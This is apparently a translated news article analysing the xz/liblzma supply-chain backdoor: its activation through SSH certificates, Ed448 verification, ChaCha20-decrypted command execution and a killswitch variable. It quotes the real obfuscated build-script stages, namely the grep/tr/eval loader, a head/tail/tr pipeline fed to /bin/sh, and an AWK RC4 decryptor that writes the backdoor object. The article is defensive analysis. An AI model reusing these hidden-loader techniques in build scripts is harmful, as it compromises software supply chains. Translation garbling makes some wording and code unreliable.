Examining the activation process and functionality of the backdoor in the xz package

Available preliminary results reverse engineering a malicious object file embedded in liblzma as a result of a campaign to push a backdoor into the xz package. Initially, it was assumed that the backdoor could bypass sshd authentication and gain access to the system via SSH. A more detailed analysis showed that this is not the case and the backdoor provides the ability to execute arbitrary code on the system without leaving any traces in the sshd logs.

In particular, the function intercepted by the backdoor RSA_public_decrypt verifies the host's signature using the fixed key Ed448, and if verified successfully, executes the code sent by the external host using the system() function at a stage before the sshd process resets privileges. The data containing the code to be executed is extracted from the “N” parameter passed to the RSA_public_decrypt function (the “n” field from the structure rsa_stcontaining the public key transmitted by the external host), is verified by a checksum and decrypted using the predefined key ChaCha20 at the stage before verification of the digital signature Ed448.


As a sign for activating a backdoor in sshd, the standard host key exchange mechanism is used. The backdoor takes advantage of the fact that OpenSSH certificates include the public key of the signer, and responds only to a key prepared by the attacker and corresponding to the predefined fixed key Ed448. If public key signature verification fails or if the integrity of the execution data is not confirmed, the backdoor returns control to the standard SSH functions.

Since the attacker's private key is unknown, it is impossible to implement verification code that would enable the backdoor to be activated and implement a scanner for compromised hosts on the network. Prepared by researchers scriptdemonstrating a technique for substituting a public key with arbitrary content into an OpenSSH certificate sent by an SSH client, which will be processed in the backdoored RSA_public_decrypt function.

Researchers also noticed Availability designs (killswitch), which neutralizes the backdoor if the environment variable “yolAbejyiejuvnup=Evjtgvsh5okmkAvj” is set before starting sshd.

Additionally, you can note detailed analysis shell constructs used to obfuscate the process of extracting an object file with a backdoor and substituting it with the liblzma library. During the xz build, a code was launched from the build-to-host.m4 script that found the bad-3-corrupt_lzma2.xz archive among the test files, replaced some characters in it, turned it into an intact archive, and extracted the shell script from it.


 gl_am_configmake=`grep -aErls "#{4}((:alnum:)){5}#{4}$" $srcdir/ 2>/dev/null`
... gl_($1)_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_($1)_prefix -d 2>/dev/null' gl_path_map='tr "\t \-_" " \t_\-"'

The resulting shell script piece by piece extracted another shell script from the contents of the good-large_compressed.lzma archive, skipping certain sequences with the head and tail commands, and replacing characters with the tr command.

# a few binary bytes here, but as it's a comment they are ignorred
( ! $(uname) = "Linux" ) && exit 0
( ! $(uname) = "Linux" ) && exit 0
( ! $(uname) = "Linux" ) && exit 0
( ! $(uname) = "Linux" ) && exit 0
( ! $(uname) = "Linux" ) && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh

As a result, a rather complex and voluminous
shell script, which directly extracts the backdoor file from the good-large_compressed.lzma and bad-3-corrupt_lzma2.xz archives, decrypts it and embeds it in liblzma. Among other things, the script contained an implementation of a decryptor based on the RC4 algorithm in the AWK language:

xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i‹m;i++){t(sprintf("x%c",i))=i;c(i)=((i*7)+5)%m;}i=0;j=0;for(l=0;l‹8192;l++){i=(i+1)%m;a=c(i);j=(j+a)%m;c(i)=c(j);c(j)=a;}}{v=t("x" (NF‹1?RS:$1));i=(i+1)%m;a=c(i);j=(j+a)%m;b=c(j);c(i)=b;c(j)=a;k=c((a+b)%m);printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N › /dev/null 2>&1) && head -c +$W) › liblzma_la-crc64-fast.o || true

Thanks for reading: